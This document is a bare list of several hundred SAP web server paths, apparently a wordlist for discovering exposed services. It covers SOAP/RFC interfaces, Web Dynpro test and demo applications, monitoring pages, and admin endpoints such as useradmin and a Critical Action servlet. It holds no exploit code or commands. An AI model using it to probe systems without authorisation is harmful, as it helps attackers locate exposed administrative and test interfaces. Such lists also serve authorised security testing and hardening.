sap/bc/gui/sap/its/STATUSPANEL
|
||||
sap/bc/gui/sap/its/STERM_ITS
|
||||
sap/bc/gui/sap/its/TEST_XMLPARSER
|
||||
sap/bc/gui/sap/its/WSI_OCI_ITS
|
||||
sap/bc/gui/sap/its/XML_DTD_01
|
||||
sap/bc/gui/sap/its/alinkviewer
|
||||
sap/bc/gui/sap/its/bwca
|
||||
sap/bc/gui/sap/its/designs
|
||||
sap/bc/gui/sap/its/my_qualis
|
||||
sap/bc/gui/sap/its/my_requirement
|
||||
sap/bc/gui/sap/its/sample
|
||||
sap/bc/gui/sap/its/sample/
|
||||
sap/bc/gui/sap/its/sample/IAC_CALENDAR
|
||||
sap/bc/gui/sap/its/sample/IAC_FLIGHT
|
||||
sap/bc/gui/sap/its/sample/IAC_INPUT
|
||||
sap/bc/gui/sap/its/sample/IAC_SE38
|
||||
sap/bc/gui/sap/its/sample/IAC_TABLE
|
||||
sap/bc/gui/sap/its/sample/IAC_TEXTEDIT
|
||||
sap/bc/gui/sap/its/sample/IAC_TOOLBAR
|
||||
sap/bc/gui/sap/its/sample/IAC_TREE1
|
||||
sap/bc/gui/sap/its/sample/IAC_TREE2
|
||||
sap/bc/gui/sap/its/sample/iAC_HTML
|
||||
sap/bc/gui/sap/its/test
|
||||
sap/bc/gui/sap/its/test/
|
||||
sap/bc/gui/sap/its/test/it
|
||||
sap/bc/gui/sap/its/test/it/
|
||||
sap/bc/gui/sap/its/test/it/IT12
|
||||
sap/bc/gui/sap/its/test/it/IT13
|
||||
sap/bc/gui/sap/its/test/it/ITRBX
|
||||
sap/bc/gui/sap/its/test/it/it00
|
||||
sap/bc/gui/sap/its/test/it/it19
|
||||
sap/bc/gui/sap/its/test/webgui_end
|
||||
sap/bc/gui/sap/its/test/webgui_tj
|
||||
sap/bc/gui/sap/its/test/webgui_txend
|
||||
sap/bc/gui/sap/its/webgui
|
||||
sap/bc/gui/sap/its/webgui/!
|
||||
sap/bc/icf
|
||||
sap/bc/icf/
|
||||
sap/bc/icf/demo
|
||||
sap/bc/icf/demo/example_1
|
||||
sap/bc/icf/recorder
|
||||
sap/bc/icf/verification
|
||||
sap/bc/icman
|
||||
sap/bc/icman/test01
|
||||
sap/bc/idoc_xml
|
||||
sap/bc/igs_data
|
||||
sap/bc/kw
|
||||
sap/bc/kw/
|
||||
sap/bc/kw/K/Link
|
||||
sap/bc/kw/fs
|
||||
sap/bc/kw/mime
|
||||
sap/bc/kw/skwr
|
||||
sap/bc/mlt
|
||||
sap/bc/mlt/
|
||||
sap/bc/mlt//vb
|
||||
sap/bc/mlt/slim
|
||||
sap/bc/mlt/slim/
|
||||
sap/bc/mlt/slim//lang_plus
|
||||
sap/bc/mlt/slim/branching
|
||||
sap/bc/mlt/slim/pcx
|
||||
sap/bc/mlt/slim/pcx_plus
|
||||
sap/bc/mlt/test
|
||||
sap/bc/mlt/tmware
|
||||
sap/bc/mlt/trados
|
||||
sap/bc/notify
|
||||
sap/bc/notify/polling
|
||||
sap/bc/ping
|
||||
sap/bc/print
|
||||
sap/bc/rehm
|
||||
sap/bc/report
|
||||
sap/bc/sapits_mimes
|
||||
sap/bc/smart_forms
|
||||
sap/bc/soap
|
||||
sap/bc/soap/
|
||||
sap/bc/soap/doc
|
||||
sap/bc/soap/ici
|
||||
sap/bc/soap/ici_ssl
|
||||
sap/bc/soap/rfc
|
||||
sap/bc/soap/wsdl
|
||||
sap/bc/soap/wsdl11
|
||||
sap/bc/soap/wsdlservices
|
||||
sap/bc/spi_gate
|
||||
sap/bc/srm
|
||||
sap/bc/srm/rcm_webdav
|
||||
sap/bc/srm/rcm_webdav/
|
||||
sap/bc/srm/rcm_webdav/s_area_cmg
|
||||
sap/bc/srm/rcm_webdav/s_area_rms
|
||||
sap/bc/srt
|
||||
sap/bc/srt/
|
||||
sap/bc/srt/IDoc
|
||||
sap/bc/srt/esf
|
||||
sap/bc/srt/rfc
|
||||
sap/bc/srt/rfc/
|
||||
sap/bc/srt/rfc/OSP
|
||||
sap/bc/srt/rfc/sap
|
||||
sap/bc/srt/sap/
|
||||
sap/bc/srt/sap/Detailed_flight_info_get
|
||||
sap/bc/srt/sap/ER_REGISTRY_SUPPORT_SERVICE
|
||||
sap/bc/srt/sap/II_TEST_IN_SYNC
|
||||
sap/bc/srt/sap/ME_RT_DSD_WS_64
|
||||
sap/bc/srt/sap/QUERY_VIEW_DATA
|
||||
sap/bc/srt/sap/RSDAW_NEARLINE_SERVER
|
||||
sap/bc/srt/sap/RSOBJSALTERNODEREFS
|
||||
sap/bc/srt/sap/RSOBJS_ALTER_NODE_REFS
|
||||
sap/bc/srt/sap/RSOBJS_CHECK
|
||||
sap/bc/srt/sap/RSOBJS_DELETE
|
||||
sap/bc/srt/sap/RSOBJS_GET_NODES
|
||||
sap/bc/srt/sap/RSOBJS_INIT
|
||||
sap/bc/srt/sap/RSOBJS_WHERE_USED_LIST
|
||||
sap/bc/srt/sap/RSPO_SXOMS_DEFINE_PRINTER
|
||||
sap/bc/srt/sap/RSPO_SXOMS_DELETE_PRINTER
|
||||
sap/bc/srt/sap/RSPO_SXOMS_GET_DEVICE_TYPES
|
||||
sap/bc/srt/sap/RSPO_SXOMS_GET_TRAY_INFO
|
||||
sap/bc/srt/sap/RSPO_SXOMS_PUSH_ROMS_LOMS
|
||||
sap/bc/srt/sap/RSPO_SXOMS_UPDATE_PRINTER
|
||||
sap/bc/srt/sap/SAP_RPE_SEQUENCE
|
||||
sap/bc/srt/sap/SBIZC_AUTHOR
|
||||
sap/bc/srt/sap/SBIZC_AUTHORING
|
||||
sap/bc/srt/sap/SBIZC_DETAIL
|
||||
sap/bc/srt/sap/SBIZC_TEST_AUTHOR_INIT
|
||||
sap/bc/srt/sap/SBIZC_WS_TEST
|
||||
sap/bc/srt/sap/SRTFT_MASS_CONFIGURATION
|
||||
sap/bc/srt/sap/SRTFT_SYSTEM_METADATA_ACCESS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_ADD_WS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_PAR_TEST01_WS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_PAR_TEST02_WS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_PAR_TEST03_WS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_SUM_WS
|
||||
sap/bc/srt/sap/SXIDAL_FLIGHTSEATAVAIL_CHECK
|
||||
sap/bc/srt/sap/SYNCCALLSECURITYHIGHNOAUTOGEN
|
||||
sap/bc/srt/sap/SYNCCALLSECURITYLOWAUTOGEN
|
||||
sap/bc/srt/sap/TEST_WEBSERVICE_WRITE
|
||||
sap/bc/srt/sap/WDYBUILDINBOX
|
||||
sap/bc/srt/sap/WDYGETDC
|
||||
sap/bc/srt/sap/WDYGETTF
|
||||
sap/bc/srt/sap/WDYSETDC
|
||||
sap/bc/srt/sap/WDYUPDATETF
|
||||
sap/bc/srt/sap/WS_ORDER_BE_IN
|
||||
sap/bc/srt/sap/ob_wsd_test02
|
||||
sap/bc/srt/sap/xmla
|
||||
sap/bc/srt/wsil
|
||||
sap/bc/srt/xip
|
||||
sap/bc/srt/xip/sap
|
||||
sap/bc/testzone
|
||||
sap/bc/testzone/
|
||||
sap/bc/testzone/depot_select
|
||||
sap/bc/testzone/result_rep
|
||||
sap/bc/verification/
|
||||
sap/bc/verification/itsplugin
|
||||
sap/bc/verification/stateful_ping
|
||||
sap/bc/wappush
|
||||
sap/bc/wd_trace_tool
|
||||
sap/bc/wdvd
|
||||
sap/bc/webapp
|
||||
sap/bc/webdynpro
|
||||
sap/bc/webdynpro/sap
|
||||
sap/bc/webdynpro/sap/
|
||||
sap/bc/webdynpro/sap/CCMSBI_WAST_EXTR_TESTENV
|
||||
sap/bc/webdynpro/sap/CNP_LIGHT_TEST
|
||||
sap/bc/webdynpro/sap/DBA_COCKPIT
|
||||
sap/bc/webdynpro/sap/DEMO_CONTEXT_CHANGES
|
||||
sap/bc/webdynpro/sap/DEMO_ROADMAP
|
||||
sap/bc/webdynpro/sap/DEMO_SIMPLE_MAIN
|
||||
sap/bc/webdynpro/sap/DEMO_TABLE
|
||||
sap/bc/webdynpro/sap/DEMO_TABLE_WITH_TREE_BY_KEY
|
||||
sap/bc/webdynpro/sap/DEMO_TABLE_WITH_TREE_BY_NST
|
||||
sap/bc/webdynpro/sap/DemoDynamic
|
||||
sap/bc/webdynpro/sap/DemoTree
|
||||
sap/bc/webdynpro/sap/EXAMPLE_WDABAP_3
|
||||
sap/bc/webdynpro/sap/KEY_FIGURE_MONITOR
|
||||
sap/bc/webdynpro/sap/KEY_FIGURE_TREND
|
||||
sap/bc/webdynpro/sap/MASTERMIND
|
||||
sap/bc/webdynpro/sap/OTHELLO
|
||||
sap/bc/webdynpro/sap/POWL
|
||||
sap/bc/webdynpro/sap/POWL_COLLECTOR
|
||||
sap/bc/webdynpro/sap/POWL_MASTER_QUERY
|
||||
sap/bc/webdynpro/sap/POWL_PERS_COMP
|
||||
sap/bc/webdynpro/sap/RCM_DOC_CLIENT_test
|
||||
sap/bc/webdynpro/sap/RCM_ORGANIZER
|
||||
sap/bc/webdynpro/sap/RCM_RECORD
|
||||
sap/bc/webdynpro/sap/RCM_SP
|
||||
sap/bc/webdynpro/sap/RCM_SP_URL
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_ALVFNC
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_COLORS
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_COLSCR
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_CV
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_EDIT
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_EVENTS
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_F4
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_MIG
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_PARTS
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_PROPS
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_SIMPLE
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_TOL
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_TOOLBR
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_TREE
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_DATA
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_DATA_DOWNLOAD
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_ALVFNC
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_COLORS
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_COLSCR
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_CV
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_EDIT
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_EDIT_M
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_EVENTS
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_IN_WDW
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_PROPS
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_SELECT
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_SIMPLE
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_TOOLBR
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_TREE
|
||||
sap/bc/webdynpro/sap/TEST_BAD_LINK
|
||||
sap/bc/webdynpro/sap/TEST_MODIFY_VIEW
|
||||
sap/bc/webdynpro/sap/TEST_RUNTIME_REPOSITORY
|
||||
sap/bc/webdynpro/sap/TestUpload
|
||||
sap/bc/webdynpro/sap/WDK_A_SE91
|
||||
sap/bc/webdynpro/sap/WDK_SPOOL_TO_PDF
|
||||
sap/bc/webdynpro/sap/WDR_DOCU_HELPER
|
||||
sap/bc/webdynpro/sap/WDR_MESSAGE_AREA
|
||||
sap/bc/webdynpro/sap/WDR_TEST_ADOBE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_DDIC_SHLP
|
||||
sap/bc/webdynpro/sap/WDR_TEST_DOCU
|
||||
sap/bc/webdynpro/sap/WDR_TEST_EVENTS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_ICON_SOURCES
|
||||
sap/bc/webdynpro/sap/WDR_TEST_IT05
|
||||
sap/bc/webdynpro/sap/WDR_TEST_JNDI_PROVIDER
|
||||
sap/bc/webdynpro/sap/WDR_TEST_LAYOUTS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_MODIFY_VIEW
|
||||
sap/bc/webdynpro/sap/WDR_TEST_NAVIGATION
|
||||
sap/bc/webdynpro/sap/WDR_TEST_OVS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_P00001
|
||||
sap/bc/webdynpro/sap/WDR_TEST_P00002
|
||||
sap/bc/webdynpro/sap/WDR_TEST_P00003
|
||||
sap/bc/webdynpro/sap/WDR_TEST_P13N
|
||||
sap/bc/webdynpro/sap/WDR_TEST_POPUPS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_POPUPS_RT
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_FIRE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_FIRE2
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_FIRE_POP
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_REC
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_REC2
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_REC_POP
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_NAV_OBN
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_NAV_PAGE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_NAV_TARGET
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_OBN_POPUP
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_OBN_WS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_OBN_WS_IN
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_WORKPROTECT
|
||||
sap/bc/webdynpro/sap/WDR_TEST_RUNTIME
|
||||
sap/bc/webdynpro/sap/WDR_TEST_TABLE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_CHILD
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_CLOSE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_LOGOFF
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_RESUME
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_SUITE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_SUSRES_A
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_SUSRES_B
|
||||
sap/bc/webdynpro/sap/WDR_UIE_LIBRARY
|
||||
sap/bc/webdynpro/sap/apb_launchpad
|
||||
sap/bc/webdynpro/sap/apb_launchpad_nwbc
|
||||
sap/bc/webdynpro/sap/apb_lpd_light_start
|
||||
sap/bc/webdynpro/sap/apb_lpd_start_url
|
||||
sap/bc/webdynpro/sap/appl_log_trc_viewer
|
||||
sap/bc/webdynpro/sap/appl_soap_management
|
||||
sap/bc/webdynpro/sap/application_exit
|
||||
sap/bc/webdynpro/sap/ccmsbi_wast_extr_testenv
|
||||
sap/bc/webdynpro/sap/cnp_light_test
|
||||
sap/bc/webdynpro/sap/configure_application
|
||||
sap/bc/webdynpro/sap/configure_component
|
||||
sap/bc/webdynpro/sap/demo_messages
|
||||
sap/bc/webdynpro/sap/demo_messages2
|
||||
sap/bc/webdynpro/sap/demo_variable_dropdown
|
||||
sap/bc/webdynpro/sap/demo_wda_quiz
|
||||
sap/bc/webdynpro/sap/demo_wda_table
|
||||
sap/bc/webdynpro/sap/esh_adm_smoketest_ui
|
||||
sap/bc/webdynpro/sap/esh_admin_ui_component
|
||||
sap/bc/webdynpro/sap/esh_eng_modelling
|
||||
sap/bc/webdynpro/sap/esh_search_results.ui
|
||||
sap/bc/webdynpro/sap/ios_test_helloworld_ms
|
||||
sap/bc/webdynpro/sap/ios_test_helloworld_so
|
||||
sap/bc/webdynpro/sap/ios_test_simple_ms
|
||||
sap/bc/webdynpro/sap/ios_test_simple_so
|
||||
sap/bc/webdynpro/sap/its
|
||||
sap/bc/webdynpro/sap/powl_test_feeder
|
||||
sap/bc/webdynpro/sap/ptm_assign_s_ui
|
||||
sap/bc/webdynpro/sap/ptm_jf_worklist_ui
|
||||
sap/bc/webdynpro/sap/ptm_maintain_jf_ui
|
||||
sap/bc/webdynpro/sap/rcm_multistring_edit_example
|
||||
sap/bc/webdynpro/sap/rcm_poid_info_example
|
||||
sap/bc/webdynpro/sap/rcm_property_query_example
|
||||
sap/bc/webdynpro/sap/salv_wd_demo_table_dfault
|
||||
sap/bc/webdynpro/sap/salv_wd_submit
|
||||
sap/bc/webdynpro/sap/salv_wd_test_col_field
|
||||
sap/bc/webdynpro/sap/salv_wd_test_conf_caller
|
||||
sap/bc/webdynpro/sap/salv_wd_test_config1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_config_api
|
||||
sap/bc/webdynpro/sap/salv_wd_test_config_api2
|
||||
sap/bc/webdynpro/sap/salv_wd_test_datatypes
|
||||
sap/bc/webdynpro/sap/salv_wd_test_dyn1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_extended
|
||||
sap/bc/webdynpro/sap/salv_wd_test_file_upload
|
||||
sap/bc/webdynpro/sap/salv_wd_test_image1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_modif1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_no_ddic
|
||||
sap/bc/webdynpro/sap/salv_wd_test_non_portal
|
||||
sap/bc/webdynpro/sap/salv_wd_test_set_data
|
||||
sap/bc/webdynpro/sap/salv_wd_test_set_data1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_simple1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_table_edit2
|
||||
sap/bc/webdynpro/sap/salv_wd_test_table_f4
|
||||
sap/bc/webdynpro/sap/salv_wd_test_table_tol
|
||||
sap/bc/webdynpro/sap/salv_wd_test_table_tol2
|
||||
sap/bc/webdynpro/sap/salv_wd_test_translation
|
||||
sap/bc/webdynpro/sap/sh_adm_smoketest_files
|
||||
sap/bc/webdynpro/sap/test_ddic
|
||||
sap/bc/webdynpro/sap/wd_analyze_config_appl
|
||||
sap/bc/webdynpro/sap/wd_analyze_config_comp
|
||||
sap/bc/webdynpro/sap/wd_analyze_config_default
|
||||
sap/bc/webdynpro/sap/wd_analyze_config_user
|
||||
sap/bc/webdynpro/sap/wd_layout_cnp_light
|
||||
sap/bc/webdynpro/sap/wd_personalize_ddic_valuehelp
|
||||
sap/bc/webdynpro/sap/wd_tut_alv
|
||||
sap/bc/webdynpro/sap/wd_tut_componentdetail
|
||||
sap/bc/webdynpro/sap/wd_tut_componentusage
|
||||
sap/bc/webdynpro/sap/wd_tut_dialogboxes
|
||||
sap/bc/webdynpro/sap/wdhc_application
|
||||
sap/bc/webdynpro/sap/wdk_gaf_template
|
||||
sap/bc/webdynpro/sap/wdk_oif_template
|
||||
sap/bc/webdynpro/sap/wdk_qaf_template
|
||||
sap/bc/webdynpro/sap/wdr_inplace_demo1
|
||||
sap/bc/webdynpro/sap/wdr_inplace_demo2
|
||||
sap/bc/webdynpro/sap/wdr_ovs_test
|
||||
sap/bc/webdynpro/sap/wdr_package_srvs
|
||||
sap/bc/webdynpro/sap/wdr_popup_to_confirm_test
|
||||
sap/bc/webdynpro/sap/wdr_replace_if_wdl
|
||||
sap/bc/webdynpro/sap/wdr_test_adobe_pdf_only
|
||||
sap/bc/webdynpro/sap/wdr_test_appl_def_vh
|
||||
sap/bc/webdynpro/sap/wdr_test_application_api
|
||||
sap/bc/webdynpro/sap/wdr_test_bg_blend
|
||||
sap/bc/webdynpro/sap/wdr_test_chat
|
||||
sap/bc/webdynpro/sap/wdr_test_cmp_usage_group
|
||||
sap/bc/webdynpro/sap/wdr_test_cmpusage
|
||||
sap/bc/webdynpro/sap/wdr_test_cmpusage4
|
||||
sap/bc/webdynpro/sap/wdr_test_config
|
||||
sap/bc/webdynpro/sap/wdr_test_config2
|
||||
sap/bc/webdynpro/sap/wdr_test_configmain
|
||||
sap/bc/webdynpro/sap/wdr_test_context
|
||||
sap/bc/webdynpro/sap/wdr_test_dynamic
|
||||
sap/bc/webdynpro/sap/wdr_test_enhancements
|
||||
sap/bc/webdynpro/sap/wdr_test_exit_plug
|
||||
sap/bc/webdynpro/sap/wdr_test_ext_mapping
|
||||
sap/bc/webdynpro/sap/wdr_test_extended_path
|
||||
sap/bc/webdynpro/sap/wdr_test_gantt
|
||||
sap/bc/webdynpro/sap/wdr_test_global_settings
|
||||
sap/bc/webdynpro/sap/wdr_test_help
|
||||
sap/bc/webdynpro/sap/wdr_test_input
|
||||
sap/bc/webdynpro/sap/wdr_test_it05_nopatt
|
||||
sap/bc/webdynpro/sap/wdr_test_mailto
|
||||
sap/bc/webdynpro/sap/wdr_test_mandatory
|
||||
sap/bc/webdynpro/sap/wdr_test_misc
|
||||
sap/bc/webdynpro/sap/wdr_test_msg_manager_00
|
||||
sap/bc/webdynpro/sap/wdr_test_navigation6
|
||||
sap/bc/webdynpro/sap/wdr_test_navigation7
|
||||
sap/bc/webdynpro/sap/wdr_test_navigation_00
|
||||
sap/bc/webdynpro/sap/wdr_test_ovs2
|
||||
sap/bc/webdynpro/sap/wdr_test_p00004
|
||||
sap/bc/webdynpro/sap/wdr_test_p00006
|
||||
sap/bc/webdynpro/sap/wdr_test_p00007
|
||||
sap/bc/webdynpro/sap/wdr_test_p00008
|
||||
sap/bc/webdynpro/sap/wdr_test_p00009
|
||||
sap/bc/webdynpro/sap/wdr_test_p00010
|
||||
sap/bc/webdynpro/sap/wdr_test_p00011
|
||||
sap/bc/webdynpro/sap/wdr_test_paddless_window
|
||||
sap/bc/webdynpro/sap/wdr_test_pers_imp
|
||||
sap/bc/webdynpro/sap/wdr_test_pers_imp_exp
|
||||
sap/bc/webdynpro/sap/wdr_test_popup_01
|
||||
sap/bc/webdynpro/sap/wdr_test_popup_inplug
|
||||
sap/bc/webdynpro/sap/wdr_test_popup_to_confirm
|
||||
sap/bc/webdynpro/sap/wdr_test_popups_rt
|
||||
sap/bc/webdynpro/sap/wdr_test_popups_rt_00
|
||||
sap/bc/webdynpro/sap/wdr_test_select_options
|
||||
sap/bc/webdynpro/sap/wdr_test_ui_elements
|
||||
sap/bc/webdynpro/sap/wdr_test_ur_browser
|
||||
sap/bc/webdynpro/sap/wdr_transport_srvs
|
||||
sap/bc/webdynpro/sap/wdt_alv
|
||||
sap/bc/webdynpro/sap/wdt_bg_scatter
|
||||
sap/bc/webdynpro/sap/wdt_componentdetail
|
||||
sap/bc/webdynpro/sap/wdt_componentusage
|
||||
sap/bc/webdynpro/sap/wdt_dialogboxes
|
||||
sap/bc/webdynpro/sap/wdt_ext_map_reuse
|
||||
sap/bc/webdynpro/sap/wdt_flightlist
|
||||
sap/bc/webdynpro/sap/wdt_master_detail
|
||||
sap/bc/webdynpro/sap/wdt_quiz
|
||||
sap/bc/webdynpro/sap/wdt_table
|
||||
sap/bc/webdynpro/sap/wdt_tree
|
||||
sap/bc/webdynpro/sap/wdt_tree_table_by_key
|
||||
sap/bc/webflow
|
||||
sap/bc/webflow/
|
||||
sap/bc/webflow/demo
|
||||
sap/bc/webflow/demo/
|
||||
sap/bc/webflow/demo/trareq_update
|
||||
sap/bc/webflow/demo/wf_demo_calc_01
|
||||
sap/bc/webflow/test
|
||||
sap/bc/webflow/test/
|
||||
sap/bc/webflow/test/get_data
|
||||
sap/bc/webflow/test/inc_async
|
||||
sap/bc/webflow/test/inc_sync
|
||||
sap/bc/webflow/test/test_datatypes
|
||||
sap/bc/webflow/test/test_get_xml
|
||||
sap/bc/webflow/test/test_show_xml
|
||||
sap/bc/webflow/wshandler
|
||||
sap/bc/webrfc
|
||||
sap/bc/workflow
|
||||
sap/bc/workflow/
|
||||
sap/bc/workflow/shortcut
|
||||
sap/bc/workflow/workflow_api
|
||||
sap/bc/workflow_xml
|
||||
sap/bc/xmb
|
||||
sap/bc/xml
|
||||
sap/bc/xmsmsg
|
||||
sap/bc/xrfc
|
||||
sap/bc/xrfc_test
|
||||
sap/bw
|
||||
sap/ca
|
||||
sap/ca/att_provide
|
||||
sap/crm
|
||||
sap/es/cockpit
|
||||
sap/es/getdocument
|
||||
sap/es/opensearch
|
||||
sap/es/opensearch/description
|
||||
sap/es/opensearch/list
|
||||
sap/es/opensearch/search
|
||||
sap/es/redirect
|
||||
sap/es/saplink
|
||||
sap/es/search
|
||||
sap/icm/admin
|
||||
sap/meData
|
||||
sap/monitoring
|
||||
sap/monitoring/
|
||||
sap/monitoring/ComponentInfo
|
||||
sap/monitoring/SystemInfo
|
||||
sap/option
|
||||
sap/public
|
||||
sap/public/
|
||||
sap/public/bc
|
||||
sap/public/bc/
|
||||
sap/public/bc/NWDEMO_MODEL
|
||||
sap/public/bc/NW_ESH_TST_AUTO
|
||||
sap/public/bc/icons
|
||||
sap/public/bc/icons_rtl
|
||||
sap/public/bc/its
|
||||
sap/public/bc/its/
|
||||
sap/public/bc/its/designs
|
||||
sap/public/bc/its/mimes
|
||||
sap/public/bc/its/mimes/system/SL/page/hourglass.html
|
||||
sap/public/bc/its/mobile/itsmobile00
|
||||
sap/public/bc/its/mobile/itsmobile01
|
||||
sap/public/bc/its/mobile/rfid
|
||||
sap/public/bc/its/mobile/start
|
||||
sap/public/bc/its/mobile/test
|
||||
sap/public/bc/pictograms
|
||||
sap/public/bc/sicf_login_run
|
||||
sap/public/bc/trex
|
||||
sap/public/bc/ur
|
||||
sap/public/bc/wdtracetool
|
||||
sap/public/bc/webdynpro
|
||||
sap/public/bc/webdynpro/
|
||||
sap/public/bc/webdynpro/ViewDesigner
|
||||
sap/public/bc/webdynpro/adobeChallenge
|
||||
sap/public/bc/webdynpro/adobechallenge
|
||||
sap/public/bc/webdynpro/mimes
|
||||
sap/public/bc/webdynpro/ssr
|
||||
sap/public/bc/webdynpro/viewdesigner
|
||||
sap/public/bc/webicons
|
||||
sap/public/bc/workflow
|
||||
sap/public/bc/workflow/shortcut
|
||||
sap/public/bsp
|
||||
sap/public/bsp/sap
|
||||
sap/public/bsp/sap/
|
||||
sap/public/bsp/sap/htmlb
|
||||
sap/public/bsp/sap/public
|
||||
sap/public/bsp/sap/public/
|
||||
sap/public/bsp/sap/public/ISE
|
||||
sap/public/bsp/sap/public/bc
|
||||
sap/public/bsp/sap/public/faa
|
||||
sap/public/bsp/sap/public/graphics
|
||||
sap/public/bsp/sap/public/graphics/
|
||||
sap/public/bsp/sap/public/graphics/jnet_handler
|
||||
sap/public/bsp/sap/public/graphics/mimes
|
||||
sap/public/bsp/sap/system
|
||||
sap/public/bsp/sap/system_public
|
||||
sap/public/icf_check
|
||||
sap/public/icf_info
|
||||
sap/public/icf_info/
|
||||
sap/public/icf_info/icr_groups
|
||||
sap/public/icf_info/icr_urlprefix
|
||||
sap/public/icf_info/logon_groups
|
||||
sap/public/icf_info/urlprefix
|
||||
sap/public/icman
|
||||
sap/public/info
|
||||
sap/public/myssocntl
|
||||
sap/public/ping
|
||||
sap/wdvd
|
||||
sap/webcuif
|
||||
sap/webdynpro/sap/hap_main_document
|
||||
sap/webdynpro/sap/hap_start_page_powl_ui_ess
|
||||
sap/webdynpro/sap/hap_store_page_powl_ui_mss
|
||||
sap/webdynpro/sap/hrtmc_employee_profile
|
||||
sap/webdynpro/sap/hrtmc_rm_maintenance
|
||||
sap/webdynpro/sap/hrtmc_ta_assessment
|
||||
sap/webdynpro/sap/hrtmc_ta_dashboard
|
||||
sap/webdynpro/sap/wd_analyze_config_user
|
||||
sap/xi
|
||||
sap/xi/
|
||||
sap/xi/adapter_plain
|
||||
sap/xi/cache
|
||||
sap/xi/cache_gui
|
||||
sap/xi/cache_gui_ssl
|
||||
sap/xi/cache_ssl
|
||||
sap/xi/docu_apperror
|
||||
sap/xi/docu_syserror
|
||||
sap/xi/engine
|
||||
sap/xi/engine_test
|
||||
sap/xi/simulation
|
||||
sap/xml/
|
||||
sap/xml/cwm
|
||||
sap/xml/soap
|
||||
sap/xml/soap/xmla
|
||||
sap/xml/soap/xmla/fault
|
||||
sap_java
|
||||
sap_java/bc
|
||||
sapmc
|
||||
sapmc/sapmc.html
|
||||
sapse/startsld
|
||||
servlet/com.sap.admin.Critical.Actio
|
||||
sim/
|
||||
sim/config/testdata.jsp
|
||||
sim/config/testerror.jsp
|
||||
sim/index.html
|
||||
sld
|
||||
slm
|
||||
slmServices/config
|
||||
slmServices/config?wsdl
|
||||
slmSolManServices/Config1
|
||||
socoview
|
||||
socoview/flddisplay.asp
|
||||
sp
|
||||
spml
|
||||
sysconfig
|
||||
tc.lm.webadmin.endtoend.public.app
|
||||
tc/lm/webadmin/clusteradmin
|
||||
teched/test
|
||||
test30
|
||||
top.html
|
||||
uddi
|
||||
uddiclient
|
||||
uddiclient/jsps/index.jsp
|
||||
useradmin
|
||||
useradmin/index.jsp
|
||||
userhome/
|
||||
utl
|
||||
vscantest
|
||||
vscantest/
